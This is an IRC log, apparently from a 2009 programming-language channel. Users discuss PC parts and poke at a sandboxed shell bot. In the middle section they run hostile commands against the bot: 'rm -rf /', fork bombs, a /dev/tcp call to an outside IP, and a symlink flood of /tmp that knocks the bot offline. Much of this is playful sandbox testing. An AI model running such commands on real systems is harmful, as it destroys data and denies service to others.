bsmntbombdood: do you care that the gfx card is worse than a card Deewiant was going to purchase in 2003 22:19:20 Oh, scratch that, I was thinking of a 9700 Pro 22:19:21 probably not 22:19:28 Which is a couple of times better than the 9700 that thing is worse than 22:19:32 bsmntbombdood: good, the reviews say it's good performance for the cost anyway so let's just go with that 22:20:07 bsmntbombdood: http://pastie.org/467034.txt?key=2sd0gfqxxsrbgd9euvs1eq 22:20:44 I've never had a Hitachi disk 22:21:03 Deewiant: newegg reviews say it's good and people were complaining about WD and saying this one was much better in them 22:21:15 doesn't look like it should cause any troubles 22:21:16 Everybody has a hard disk vendor they hate 22:21:16 and it's cheap 22:21:23 yar 22:21:35 bsmntbombdood: you might need a proprietary nvidia driver for that card 22:21:37 do you care? 22:21:55 blah 22:22:07 bsmntbombdood: what truth value does blah have 22:22:20 bsmntbombdood: oh hm 22:22:21 What's the status of the non-proprietary linux nvidia drivers 22:22:36 Deewiant: http://xorg.freedesktop.org/wiki/nv 22:22:40 no 3d acceleration 22:22:40 what's the status of non-linux nvidia drivers 22:22:45 bsmntbombdood: what OS? 22:22:47 bsd? windoze? 22:22:51 *windows 22:22:52 freebsd 22:22:54 god I hate that habit 22:23:02 bsmntbombdood: well, it's X drivers 22:23:04 bsmntbombdood: do you need 3d 22:23:10 ie compiz or gaming, I assume not 22:23:16 if not, go for http://xorg.freedesktop.org/wiki/nv, which is open source. 22:24:53 bsmntbombdood: so, anything I need to change? :p 22:25:04 dunno 22:26:06 bsmntbombdood: I imagine, as a non-gamer programmer, the cpu/ram/hd are your main bottlenecks... well, the i7's gonna be enough for everything, 12gb is ridiculous and the 7200rpm hd... I think the most you can get for 1tb is 7500rpm, so i don't see an issue there 22:26:22 so unless i've made a stupid mistake i think that's about right 22:26:32 right 22:27:02 i think the main upgrade on that would be an SSD but the x25-m is like $300 22:27:14 and alignment on those is a bitch (this may be my frustration speaking) 22:27:35 yeah that's what i hear 22:27:54 bsmntbombdood: on linux you have to do arcane LVM stuff (how redundant) to get it aligned to the write boundary stuff 22:27:58 no idea about freebsd. 22:28:41 bsmntbombdood: it'll be way faster than a regular hd anyway, iirc, though. at newegg the 80gb x25-m is $324.99 22:28:46 http://www.newegg.com/Product/Product.aspx?Item=N82E16820167005 22:28:55 your choice, if you're going for $1.5k i'd skip it 22:29:03 since the hw in my paste brushes that limit anyway 22:29:20 you had $2000 as an upper bound, if you're willing to go near there i'd probably go for the x25 22:29:42 since the performance benefit is really high from what i've read 22:30:05 doesn't seem worth it 22:30:48 i watched a video where two identically specced machines apart from one having an X25-M in booted up windows and opened some bloated applications; the SSD one was over 2x quicker to finish 22:31:03 but for the price, yeah, not worth it if that's a concern 22:33:01 hmm 22:33:13 so a raid1 of those drives will get like 200mb/s sustained read 22:33:29 bsmntbombdood: what, of x25ms? 22:33:34 no, the hitachi 22:33:36 oh 22:33:37 :P 22:33:46 and, well, depends, i mean, dunno about software raid 22:33:49 Deewiant: do you know? 22:33:58 Nope 22:34:10 bsmntbombdood: are you sure raid-1 is the best backup method for you? 22:34:21 RAID is not backup. 22:34:27 well sure 22:34:31 but raid 1 is backup to a degree 22:34:42 the whole point is guarding against one disk failing 22:34:48 It's protection against one-disk failure 22:34:55 Backup is more than that 22:35:00 Sure 22:35:04 But if you back up you don't really need that 22:35:08 Backup is protection against accidental rm $HOME and such 22:35:15 and disk failure 22:35:28 You can backup as well as keep a raid 22:35:47 I know 22:35:56 But if I was backing up I'd skip raid 1 22:36:05 i want raid1 for speed too 22:36:20 bsmntbombdood: go for hardware raid then 22:36:23 enjoy our $700 :-P 22:36:24 *you 22:36:25 *your 22:37:44 hmm 22:37:54 Deewiant: http://www.newegg.com/Product/Product.aspx?Item=N82E16816116030 this is pretty cheap for a raid isn't it? 22:37:56 what's the catch 22:38:07 bsmntbombdood: that one has drivers included in freebsd sez a review 22:38:11 It might suck :-P 22:38:26 If not, there's the fact that it's 2-port and SATA-only 22:38:32 Deewiant: i'd assume the reviews would reflect that if so at least to a degree 22:38:45 Deewiant: beats software raid, no? 22:38:52 Maybe, maybe not 22:39:03 Hardware is not better than software by default 22:39:08 sure 22:39:39 http://www.newegg.com/Product/Product.aspx?Item=N82E16816131001 lots of freebsd people reviewing this stuff 22:39:47 ehird, software RAID isn't that bad. Bit better than cheaper RAID cards, since those tend to be poorly implemented software RAID with a disk controller attached. 22:41:08 Deewiant, ehird http://www.futurelooks.com/nzxt-tempest-midtower-atx-case-review/ 22:41:14 ehird, you would HATE it 22:41:15 Actually, unless the RAID involves parity, the difference between hardware and software RAID is almost moot... 22:41:41 AnMaster: that case is ugly 22:41:47 pikhq: that's what i was thinking 22:41:52 bsmntbombdood, that wasn't the main thing about it... 22:44:19 Also, Linux software RAID is rather ridiculously flexible. 22:44:59 pikhq, that is a hallmark (right word?) of Linux IME 22:45:06 True. 22:45:06 ridiculously flexible. 22:50:04 ehird: now, how much farther would the other $500 get me 22:54:46 -!- comex has joined. 22:54:56 http://prgmr.com/xen/ 22:55:15 Yes, 'tis awesome. 22:56:09 * GregorR wonders why comex came here just to say that :P 22:56:15 !c printf("I'm on prgrm lawl") 22:56:18 I'm on prgrm lawl 22:56:19 Tpyo X_X 22:56:21 !c printf("I'm on prgmr lawl") 22:56:23 I'm on prgmr lawl 22:56:59 doubt it'll last long 22:57:19 !sh rm -rf / 22:57:20 /bin/rm: cannot remove root directory `/' 22:57:22 !sh rm -rf /* 22:57:23 /bin/rm: cannot remove `/bin': Function not implemented 22:57:27 I think it'll last OK. 22:57:34 !sh find / 22:57:34 / 22:57:35 !sh ls 22:57:36 interps 22:57:42 !sh pwd 22:57:46 !sh find / | xargs echo 22:57:55 GregorR: i mean prgmr 22:58:02 bsmntbombdood: Oh? Whyzzat? 22:58:09 too cheap 22:58:44 Hey, that's almost cheap. 22:59:26 bsmntbombdood: Their blog and log suggests they've been in business since 2006. 22:59:34 How much does long-term file storage cost? 22:59:55 kerlo: Less than that :P 22:59:56 And by "long-term", I mean "write to it once a week". 23:00:18 Write to it once a week, read from it every few months or something. 23:00:49 $1/gb is a good rule of thumb 23:01:06 Per month? 23:01:36 no, one time 23:02:17 Presumably, overwriting means you pay again. 23:02:49 actually, just for kicks 23:02:52 !sh ls 23:02:53 interps 23:03:04 !sh strace rm -rf / 23:03:05 /tmp/input.10021: line 1: strace: command not found 23:03:17 !sh :(){ :|:& };: 23:03:20 GregorR: plz2be correcting this 23:03:21 It seems that pwd doesn't do anything. 23:03:30 !sh echo `pwd` 23:03:30 /home/egobot/egobot.hg/multibot_cmds 23:03:30 !sh pwd | base64 23:03:31 L2hvbWUvZWdvYm90L2Vnb2JvdC5oZy9tdWx0aWJvdF9jbWRzCg== 23:03:41 Hey, look at that. 23:03:47 !sh echo $PWD 23:03:47 /home/egobot/egobot.hg/multibot_cmds 23:03:55 !sh echo $OLDPWD 23:03:56 !sh bash -c 'pwd' 23:03:56 /home/egobot/egobot.hg/multibot_cmds 23:04:00 !sh bash -c 'pwd' 23:04:00 /home/egobot/egobot.hg/multibot_cmds 23:04:06 !sh bash -c ':(){ :|:& };:' 23:04:06 /bin/bash: fork: Resource temporarily unavailable 23:04:12 !sh ls -l 23:04:13 /bin/ls: interps: Function not implemented 23:04:21 * kerlo blinks 23:04:32 !sh echo 23:04:57 Oh, I'm receiving a transmission. 23:05:20 !sh echo 'echo foo' > foo; chmod +x foo; foo 23:05:20 /tmp/input.14550: line 1: foo: Permission denied 23:05:28 -!- nooga has quit (Read error: 54 (Connection reset by peer)). 23:05:30 Boring. 23:05:58 !sh ls -ld . 23:05:59 /bin/ls: .: Function not implemented 23:06:14 drwxrwxrwx 0 0 0 0 Jan 1 1970 . 23:06:26 That's unique. 23:06:34 Yeah. 23:06:38 -!- calamous has joined. 23:06:38 !sh bash -c 'echo hi > /dev/tcp/69.124.60.187/9999' 23:06:39 /bin/bash: /dev/tcp/69.124.60.187/9999: No such file or directory 23:07:10 !sh perl -e 'print 1;' 23:07:10 1 23:07:22 !sh ls -ld .. 23:07:22 /bin/ls: ..: Function not implemented 23:07:27 !sh ls -ld `pwd`/.. 23:07:27 /bin/ls: /home/egobot/egobot.hg/multibot_cmds/..: Function not implemented 23:07:34 !sh ls -ld /home/egobot/egobot.hg 23:07:34 /bin/ls: /home/egobot/egobot.hg: Function not implemented 23:07:42 !sh ls -ld /home/egobot/* 23:07:43 /bin/ls: /home/egobot/egobot.hg: Function not implemented 23:07:44 !sh ls -ld /home/ 23:07:44 /bin/ls: /home/: Function not implemented 23:07:50 !sh echo /home/egobot/* 23:07:50 /home/egobot/egobot.hg 23:07:54 !sh echo /home/egobot/egobot.hg/* 23:07:54 /home/egobot/egobot.hg/multibot_cmds 23:07:56 !sh which ls 23:07:57 /bin/ls 23:07:58 !sh echo /home/egobot/* 23:07:58 /home/egobot/egobot.hg 23:08:03 !sh cat /bin/ls 23:08:03 ELF 23:08:12 !sh strings /bin/ls | xargs echo 23:08:14 That looks like a really, really short executable. 23:08:15 !sh /bin/ls /home/ 23:08:33 !sh wc /bin/ls 23:08:34 277 2151 110248 /bin/ls 23:08:43 Nope. 23:08:51 !sh unamer -a 23:08:51 /tmp/input.14997: line 1: unamer: command not found 23:08:52 !sh uname -a 23:08:52 Linux codu.org 2.6.26-1-xen-amd64 #1 SMP Sat Jan 10 20:39:26 UTC 2009 x86_64 GNU/Linux 23:09:10 !sh ls /tmp/ 23:09:10 compiled.19784 23:09:16 !sh hd /tmp/compiled.* 23:09:16 00000000 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 |.ELF............| 23:09:24 !sh /tmp/compiled.* 23:09:25 !sh bash 23:09:42 lol 23:09:51 !c printf("hello wordl\n"); 23:09:53 hello wordl 23:10:17 -!- tombom has quit ("Peace and Protection 4.22.2"). 23:10:19 I've had plans to write an imitation bash-bot for a while. 23:10:31 Its the real deal. it runs in a sandbox 23:10:53 !sh kill $(pgrep -u `id -u`) 23:10:57 !sh echo "bar" > foo 23:10:57 /tmp/input.15253: line 1: foo: Permission denied 23:11:08 !sh which kill 23:11:09 /bin/kill 23:11:10 !sh echo "bar" > /tmp/foo 23:11:13 !sh /bin/kill $(pgrep -u `id -u`) 23:11:17 !sh cat /tmp/foo 23:11:31 !sh echo "\n" >> /tmp/foo 23:11:32 !sh cat /tmp/foo 23:11:42 !sh ls /dev 23:11:43 null 23:11:43 !sh dd if=/dev/zero of=/tmp/foox 23:11:44 /bin/dd: opening `/dev/zero': No such file or directory 23:11:59 Um... 23:12:04 !sh ls /tmp/ 23:12:04 compiled.19784 23:12:07 !sh perl -e 'print 1 while 1;' > /tmp/foox 23:12:11 !sh ls /proc 23:12:12 For five bucks a month, I could buy a teeny tiny server and give people root access to it. 23:12:21 kerlo: and then we could set up some stuff on it 23:12:22 !sh ls / 23:12:24 it would almost be like a nomic 23:12:41 Yeah. 23:12:50 Except anyone would be able to do anything. 23:12:57 which reminds me, why don't I have #esoteric and #rootnomic as default joins 23:13:01 !sh ls /tmp 23:13:01 compiled.19784 23:13:07 !sh ps 23:13:27 !sh stat /tmp/foox 23:13:34 !sh wc /tmp/foox 23:13:35 0 1 10485760 /tmp/foox 23:13:43 kerlo: With the possibility of doing kernel patches while running. ;) 23:13:50 !sh cp /tmp/foox /tmp/fooy 23:13:58 !sh ls /tmp/foo? 23:13:58 /tmp/foox 23:14:03 I could dissolve Normish and get six teeny tiny servers for about the same price. 23:14:08 !sh wc /tmp/fooy 23:14:08 0 1 10485760 /tmp/fooy 23:14:28 More combined disk space, more combined RAM, no backups. 23:14:55 !sh i=0; while true; do cp /tmp/foox /tmp/foo$i; let i=i+11; done 23:15:23 !sh ls /tmp/foo* | xargs echo 23:15:23 /tmp/foo /tmp/foo0 /tmp/foo11 /tmp/foo110 /tmp/foo121 /tmp/foo132 /tmp/foo143 /tmp/foo154 /tmp/foo165 /tmp/foo176 /tmp/foo187 /tmp/foo198 /tmp/foo209 /tmp/foo22 /tmp/foo220 /tmp/foo231 /tmp/foo242 /tmp/foo253 /tmp/foo264 /tmp/foo275 /tmp/foo286 /tmp/foo297 /tmp/foo308 /tmp/foo319 /tmp/foo33 /tmp/foo330 /tmp/foo341 /tmp/foo352 /tmp/foo363 /tmp/foo374 /tmp/foo385 /tmp/foo396 /tmp/foo407 /tmp/foo418 /tmp/foo429 /tmp/foo44 /tmp/foo440 /tmp/foo451 /tmp/foo 23:15:33 !sh ls /tmp/foo* | wc 23:15:34 huh 23:15:35 67 67 786 23:15:41 when i get a new computer i'll probably do something with this one 23:15:43 that's quite a few 23:15:52 !sh du -shc /tmp/* | tail -n 1 23:15:55 /usr/bin/du: cannot read directory `/tmp/hsperfdata_egobot': Function not implemented 23:15:57 back 23:15:58 !sh file /tmp/foo* 23:16:02 !sh du -shc /tmp/foo* | tail -n 1 23:16:10 !sh file /tmp/foo* | xargs echo 23:16:14 !sh du -shc /tmp/foo* | tail -n 1 23:16:15 what 23:16:20 !sh file /tmp/foo* | wc -l 23:16:24 !sh file /tmp/foo* | wc 23:16:28 !elp 23:16:29 !sh echo hi 23:16:30 !help 23:16:30 Supported commands: addinterp bf_txtgen daemon daemons delinterp help info kill userinterps 1l 2l adjust asm axo bch befunge befunge98 better_hello bf bf16 bf32 bf8 bfbignum c cintercal clcintercal cxx dimensifuck echo forth glass glypho hello kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor rot13 sadol sceql sh test trigger udage01 underload unlambda whirl 23:16:33 Let's see, with my credit, I could get... 23:16:43 GregorR, fail 23:16:43 ^ 23:16:48 heh 23:16:50 nice bot 23:16:53 !sh echo hi 23:16:53 hi 23:16:56 hm 23:16:58 2,400 mini-servers. 23:17:00 !sh du -shc /tmp/foo* | tail -n ` 23:17:01 /tmp/input.16204: line 1: unexpected EOF while looking for matching ``' 23:17:02 !sh du -shc /tmp/foo* | tail -n 1 23:17:09 !sh file /tmp/foo* | xargs echo 23:17:33 !sh df -h 23:17:34 /bin/df: cannot read table of mounted file systems: No such file or directory 23:17:37 !sh file /tmp/foo* | xargs echo 23:17:41 stop it 23:17:41 comex, it is in a jail 23:17:44 !sh echo hi 23:17:44 hi 23:17:48 !sh du -shc /tmp/foo* | tail -n 1 23:17:49 2.3Gtotal 23:17:51 !sh file /tmp/foo* | wc 23:18:01 !sh ls /tmp/foo* | wc 23:18:05 hm 23:18:09 did it PM you? 23:18:13 !sh du -shc /tmp/foo* | tail -n 1 23:18:13 2.7Gtotal 23:18:15 A month later, the payment would run out, and then I'd have to make minimum payments on $12,000. 23:18:19 wow 23:18:22 it is growing 23:18:24 !sh du -shc /tmp/foo* | tail -n 1 23:18:28 2.8Gtotal 23:18:44 !sh ls /tmp/foo0 23:18:47 /tmp/foo0 23:19:00 !sh ls -l /tmp/foo0 | xargs echo 23:19:08 /bin/ls: /tmp/foo0: Function not implemented 23:19:08 ... 23:19:09 !sh which nc netcat 23:19:11 what 23:19:14 that makes no sense 23:19:16 /bin/nc 23:19:30 !sh killall bash; rm /dev/foo* 23:19:30 !sh rm -f /tmp/foo* 23:19:35 bash(8994): Operation not permitted 23:19:39 dev foo? 23:19:49 oopa 23:20:05 comex, anyway it runs in a jail as a non-privileged user 23:20:18 !sh nc --help 2>&1 | md5sum 23:20:19 1dc0f3f78fd02036a71a61f3e37975ab - 23:20:24 I think I'll continue pondering my cute little Freenet-like thing. 23:20:24 !sh nc --help 2>&1 23:20:24 /bin/nc: invalid option -- - 23:20:33 !sh nc -h 23:20:33 [v1.10-38] 23:20:38 comex, it blocks network 23:20:43 with iptables 23:20:52 -m owner 23:20:55 oh, I thought it was GregorR's bot 23:20:56 !sh ping 127.0.0.1 23:20:56 plash: warning: setuid/gid bit not honoured on `/bin/ping' 23:21:03 comex, it is 23:21:07 I just know a lot about it 23:21:25 heh, that's interesting 23:21:26 !sh whoami 23:21:27 /usr/bin/whoami: cannot find name for user ID 1266358 23:21:30 !sh whoami 23:21:30 /usr/bin/whoami: cannot find name for user ID 1924550 23:21:33 o_o 23:21:34 comex, since it was me who told him about -m owner 23:21:40 owner match options: 23:21:40 [!] --uid-owner userid[-userid] Match local UID 23:21:40 [!] --gid-owner groupid[-groupid] Match local GID 23:21:40 [!] --socket-exists Match if socket exists 23:22:47 !perl print `whoami`; 23:22:48 /usr/bin/whoami: cannot find name for user ID 1256859 23:22:50 !perl print `whoami`; 23:22:51 /usr/bin/whoami: cannot find name for user ID 1079595 23:22:53 * pikhq wonders if someone could get UML in a single C file, so as to make EgoBot run a sub-Linux. :p 23:23:12 this is very very very odd 23:23:19 the scrollwheel on this mouse 23:23:27 is leaking some kind of watery fluid. 23:23:30 !sh echo $PWD 23:23:31 /home/egobot/egobot.hg/multibot_cmds 23:23:32 it's a few years old 23:23:35 !sh iptables -L 23:23:35 /tmp/input.24540: line 1: iptables: command not found 23:23:37 any clue about that 23:23:40 !sh whoami --help 23:23:40 Usage: /usr/bin/whoami [OPTION]... 23:23:53 kerlo, there is no such user 23:23:59 it is randomly generated UID 23:24:09 !perl echo $0 23:24:09 Can't call method "echo" without a package or object reference at /tmp/input.25845 line 1. 23:24:12 !perl print $0 23:24:13 /tmp/input.25994 23:24:13 it is using phash or pash or something 23:24:13 !sh id --help 23:24:14 Usage: /usr/bin/id [OPTION]... [USERNAME] 23:24:24 anywya 23:24:28 anyway* 23:24:29 !sh echo $PWD 23:24:29 /home/egobot/egobot.hg/multibot_cmds 23:24:31 !sh id 0 23:24:35 any idea about my mouse issue 23:24:37 ANYONE! 23:24:54 !sh for i in {1..99999}; do ln -s /home/egobot/egobot.hg/foo /tmp/input.$i; done 23:25:02 I guess your mouse wheel contains the fluid that it is leaking, and it is leaking because the containment is no longer intact. 23:25:07 -!- olsner has quit ("Leaving"). 23:25:12 !sh ls /tmp/input.* | wc -l 23:25:13 515 23:25:17 !sh ls /tmp/input.* | wc -l 23:25:18 642 23:25:32 !sh ls /tmp/input.* | wc -l 23:25:33 1041 23:25:36 !perl print $0 23:25:43 !perl print $0 23:25:43 /tmp/input.30491 23:25:55 !sh while true; do ls /tmp/input.* | wc -l; done 23:25:56 1778 23:26:02 !kick ehird 23:26:14 !sh kill `pgrep -f 'while true'` 23:26:14 /tmp/input.31467: line 1: kill: (31026) - Operation not permitted 23:26:16 What's ehird doing now? 23:26:30 the same thing comex did but more efficient 23:26:38 too bad only you get updates 23:26:38 :p 23:26:54 !sh ls /tmp/input.* | wc -l 23:26:56 2748 23:26:57 comex: complain to GregorR 23:27:39 ANYONE‽ 23:27:53 the scrollwheel on this mouse is leaking some kind of watery fluid. 23:27:57 anyone have a clue about it 23:28:01 has* 23:28:04 ehird, maybe yiu 23:28:04 I guess not!? 23:28:06 you* 23:28:06 :p 23:28:12 AnMaster: take apart mouse, inspect 23:28:15 AnMaster: turn the mouse upside down and leave it there. 23:28:16 ehird, did that 23:28:25 kerlo, it only leaks under preasure 23:28:28 !perl print $0 23:28:28 Can't open perl script "/tmp/input.2033": No such file or directory 23:28:31 Then don't apply pressure. 23:28:37 I think I got a flat scroll wheel 23:28:37 :D 23:28:40 ^ what kind of error is that 23:28:42 !perl print $0 23:28:43 Can't open perl script "/tmp/input.2655": No such file or directory 23:28:43 how the heck 23:28:51 flat tyre I heard. 23:28:53 !perl print $0 23:28:53 heard of* 23:28:54 Can't open perl script "/tmp/input.3137": No such file or directory 23:29:01 but this is first time I heard of flat scroll wheel 23:29:03 !!! 23:29:04 !perl print $0 23:29:05 Can't open perl script "/tmp/input.3640": No such file or directory 23:29:30 so, I guess the sandbox user is writing to /tmp/input.*; it's failing in this case 23:29:36 GregorR: lawl 23:29:41 !sh ls /tmp/input.* | wc-l 23:29:41 /bin/bash: /tmp/input.5161: No such file or directory 23:29:43 !sh ls /tmp/input.* | wc -l 23:29:43 /bin/bash: /tmp/input.5263: No such file or directory 23:29:46 ... 23:29:53 I broke the world :p 23:30:15 !sh ls 23:30:15 /bin/bash: /tmp/input.6564: No such file or directory 23:30:19 !sh pwd 23:30:19 /bin/bash: /tmp/input.6765: No such file or directory 23:30:22 meh 23:30:26 Cool. 23:30:27 do I get a prize? 23:30:27 comex, what did you dpo 23:30:29 do* 23:30:33 no 23:30:55 comex, GregorR isn't around to fix it 23:30:56 !help 23:30:57 Supported commands: addinterp bf_txtgen daemon daemons delinterp help info kill userinterps 1l 2l adjust asm axo bch befunge befunge98 better_hello bf bf16 bf32 bf8 bfbignum c cintercal clcintercal cxx dimensifuck echo forth glass glypho hello kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor rot13 sadol sceql sh test trigger udage01 underload unlambda whirl 23:31:02 !daemons 23:31:02 Running daemons: accumulate 23:31:03 !help kill 23:31:03 kill: !kill . Kill a running daemon. 23:31:17 !c 42 23:31:18 /bin/cat: /tmp/input.9150: No such file or directory 23:31:23 indeed 23:31:24 it broke 23:31:31 !befunge98 help 23:31:32 FATAL: Failed to process file "/tmp/input.9269": No such file or directory 23:31:35 yes 23:31:46 you managed to make it impossible to write files in /tmp 23:31:47 somehow 23:31:58 comex, care to tell me what the heck you did exactly 23:32:03 No, he filled it with broken symlinks. 23:32:09 AnMaster: it was me 23:32:11 fizzie, ouch 23:32:15 !sh for i in {1..99999}; do ln -s /home/egobot/egobot.hg/foo /tmp/input.$i; done 23:32:15 ehird, I see 23:32:20 That's pretty clear. 23:32:23 ah 23:32:24 ah 23:32:24 oh 23:32:28 so my checking just automated the checking 23:32:31 not grew it 23:32:31 :D 23:32:49 !c 42 23:32:49 /bin/cat: /tmp/input.9302: No such file or directory 23:32:57 !asm a 23:32:57 /bin/cat: /tmp/input.9337: No such file or directory 23:32:58 you can't get around it 23:33:02 you need to wait for GregorR 23:33:05 and 23:33:10 he should use mkstemp 23:33:13 really 23:33:13 At this rate, we only need to fail about 60 more times. 23:33:18 no 23:33:24 kerlo, check the number of digits 23:33:30 1,000 more times. 23:33:39 The rate keeps changing. 23:33:39 !c 42 23:33:39 /bin/cat: /tmp/input.9370: No such file or directory 23:33:43 !c 42 23:33:43 /bin/cat: /tmp/input.9404: No such file or directory 23:33:45 !c a 23:33:45 !c a 23:33:46 /bin/cat: /tmp/input.9438: No such file or directory 23:33:46 99999 - 9337 23:33:47 !c a 23:33:47 /bin/cat: /tmp/input.9501: No such file or directory 23:33:47 I think it's based on the time 23:33:49 !c a 23:33:51 !c a 23:33:51 /bin/cat: /tmp/input.9553: No such file or directory 23:33:53 !c a 23:33:54 Yeah, 1,000 more times. 23:33:55 !c a 23:33:56 !c stfu 23:33:57 !c a 23:33:57 90662 23:33:58 tiles 23:33:59 !c a 23:34:00 times* 23:34:01 just doin' my bit 23:34:01 sorry 23:34:02 ... 23:34:02 Personally I think it's the PID, and it wrap-arounds at 32k. 23:34:04 ehird, ^ 23:34:10 It's not increasing by one every time. 23:34:11 kerlo, ^ 23:34:15 ah 23:34:17 AnMaster, ^ 23:34:19 fizzie, yes it is 23:34:22 ^ 23:34:26 ehird: you fail it 23:34:27 ^ ^ 23:34:28 Based on the fact that it went up to 30491 and then wrapped to 2033. 23:34:28 ^ ^ 23:34:30 ^ ^ 23:34:31 ^ ^ 23:34:32 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 23:34:36 ^_^ 23:34:39 Don't get me started. 23:34:43 http://pastie.org/467093 23:34:46 ↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑ 23:34:46 could've been a <3 thunder 23:34:53 ^; ^^; ^ ^; ^^^^; ^ ^; ^^ ^^; ^ ^ ^ ^; ^^^^^^^^ 23:34:55 ↓↓↓←←↓→↓←→↓ 23:35:00 comex: fuck <3 thunders 23:35:01 fuck <3 thunders 23:35:01 fuck <3 thunders 23:35:03 fuck <3 thunders 23:35:05 fuck <3 thunders 23:35:07 fuck <3 thunders 23:35:09 fuck <3 thunders 23:35:10 fuck ehird 23:35:11 fuck ehird 23:35:11 fuck <3 thunders 23:35:13 fuck <3 thunders 23:35:15 fuck <3 thunders 23:35:17 happy now 23:35:19 ? 23:35:21 fuck ehird 23:35:22 thunders 23:35:22 jjjjhhjljhlj 23:35:23 fuck ehird 23:35:24 what is that about 23:35:25 fuck ehird 23:35:25 ... 23:35:26 !sh fuck 23:35:26 /bin/bash: /tmp/input.9727: No such file or directory 23:35:28 AnMaster: http://wiki.xkcd.com/irc/Heart_Thunder 23:36:10 what irc network 23:36:11 is that 23:36:15 #xkcd on foonetic. 23:36:46 foonetic, hm ok 23:44:29 Deewiant: bsmntbombdood wants to know how to use two monitors 23:44:36 ja 23:44:38 (card = http://www.newegg.com/Product/Product.aspx?Item=N82E16814187037) 23:47:52 -!- FireFly has quit ("Later"). 23:55:04 !sh ls 23:55:05 /bin/bash: /tmp/input.9996: No such file or directory 23:57:51 <-- GregorR at a friend's place 23:57:56 Hah, well done comex. 23:58:02 DoS winzzz 23:58:48 calamous: yeah 23:58:50 ln -s bomb 23:58:51 So, Gregor voyages forth? 23:58:56 ehird: Been in #xkcd? 23:58:59 Sure enough. 23:59:22 pikhq: Never. I know that someone I would rather not encounter went there in 2006 at least and may still do. 23:59:31 You can run stuff now. 23:59:37 !sh echo yay 23:59:37 yay 23:59:45 !sh for i in ... nah, I'm too kind 23:59:45 /tmp/input.10153: line 1: unexpected EOF while looking for matching `'' 2009-05-04: 00:00:03 calamous: limit the number of files on the system? 00:00:10 eg it resets if you write more than 100 files 00:00:10 I tend to spend time in #xkcd, on the offchance that there's interesting things there.\ 00:00:45 Though the smaller channels on Foonetic are far better; signal/noise ratio and all that. 00:00:57 night 00:01:20 bsmntbombdood: i'm sure Deewiant will be here sometime :P 00:02:23 !sh for i in {1..99999}; do ln -s /home/egobot/egobot.hg/foo /tmp/input.$i; done 00:02:30 !sh echo hi 00:02:30 hi 00:02:34 MUAHAHAHAHA 00:02:36 calamous: it took an hour or so 00:02:38 * calamous disappears. 00:02:39 to run out 00:02:43 Deewiant: bsmntbombdood wants to know how to use two monitors 00:02:45 I have done that 00:02:46 ehird, Oh, shoot :P 00:02:49 !sh ls /tmp/input.* | wc -l 00:02:52 it is simple 00:02:53 !sh ls /tmp/input.* | wc -l 00:02:54 !sh ls /tmp/input.* | wc -l 00:02:54 1128 00:02:54 /bin/bash: line 1: :ehird!n=ehird@208.78.103.223: command not found 00:02:55 you connect two of them 00:02:58 then turn both on 00:02:58 LOL WAT 00:03:00 and set it up 00:03:06 OK, I made it delete them at the end, but that's clearly not good enough. 00:03:09 AnMaster: fail 00:03:18 ehird, fail how 00:03:19 calamous: just limit the number of writes to 100 files 00:03:24 ehird, it was simple. 00:03:27 bsmntbombdood: tell AnMaster how he failed :-P 00:03:28 nvidia-settings 00:03:31 turn on twin view 00:03:35 ehird, You can only limit the number of total open files. 00:03:36 that was all 00:03:44 calamous: To 100, then. 00:03:52 fail how... 00:04:04 er i misread AnMaster 00:04:05 forget that 00:04:18 ehird, The number of open files is limited to a very low number. 00:04:19 you can do it in X config too 00:04:27 ehird, The problem is that it doesn't keep them open after it writes them. 00:04:28 which is better if they are different height 00:04:30 * calamous leaves. 00:04:32 calamous: Ah. 00:04:36 having different height is confusing 00:04:40 trust me 00:06:46 AnMaster: do you think http://www.newegg.com/Product/Product.aspx?Item=N82E16814187037 can handle dueling monitors 00:07:02 the specs seem to imply no 00:07:26 no clue 00:07:39 I did it on a GeForce 7600 GS 00:08:20 seems to cost less, so I assume the 9400 GT is better 00:08:30 for values of better equal to still not a good card but bsmntbombdood doesn't want a good card :P 00:09:25 meh 00:09:46 ehird, I used two TFTs, one vga only and one dvi +vga 00:09:53 so one went on dvi the other on vga 00:44:39 my current monitor is vga so that would probably work 00:56:34 "Intel(R) Core i7 PC's from £7" 00:56:38 —cut off advert 00:57:48 seven pounds!? what a rip off! 01:11:57 ok azureus is waaay to bloated 01:12:08 * bsmntbombdood looks at rtorrent 01:12:34 utorrent is pretty good 01:13:51 utorrent is windoze isn't it? 01:14:02 no 01:14:04 theres a mac versio 01:14:05 n 01:14:59 ... 01:15:13 bsmntbombdood: Transmission 01:16:22 OR RTORRENT 01:16:34 Or transmission 01:16:38 Which is minimal and awesome and <3 01:16:45 transmission is cool too 01:20:46 -!- oerjan has quit ("Good night"). 01:21:56 * bsmntbombdood wonders if he should actually buy ehird's computer 01:22:02 why not 01:22:12 you want an upgrade, I got it for the price you wanted, prophet? :-P 01:25:37 bsmntbombdood: for the same budget, the only real other options there are is getting an amd processor instead, but that'd just be sacrificing speed and you'd have some of the budget just lying around doing nothing 01:25:56 so if you'd upgrade to that budget anyway, it's pretty much what you'd come out with 01:26:00 why did you prefer i7? 01:26:08 bsmntbombdood: over what? 01:26:09 amd? 01:26:11 ja 01:26:27 bsmntbombdood: amd's top processors are competitive with core 2 -- the LAST generation of intel processors 01:26:34 i7 has the yummy integrated memory 01:26:38 so a lot less latency 01:26:44 and it has some nice architechtural improvements 01:26:52 more speed clock-for-clock under a lot of situations 01:27:25 i7 >>> amd phenom black edition 2 electric boogaloo > core 2 01:29:11 I was under the impression that AMD's top processors were competitive with some of the lesser i7 chips, making them great if you're on a budget. 01:29:19 But eh, whatever. 01:29:33 pikhq: i haven't seen that; but the i7 was a 2.93ghz 01:29:41 so not exactly a lesser i7 chip 01:30:03 AMD's existence for most of the company's history *has* depended on being cheaper than Intel chip, so *shrug*. 01:30:03 there's only 3.2ghz and 3.33ghz (the latter i haven't seen sold anywhere) above that 01:30:12 yeah 01:30:24 pikhq: but that integrated memory controller + ddr3 = definite yum 01:30:33 ehird: you forgot a cpu cooler too 01:30:37 bsmntbombdood: err 01:30:42 the i7 comes with it i'm pretty sure 01:31:10 i've seen people say "stock cooler" referring to i7s 01:31:10 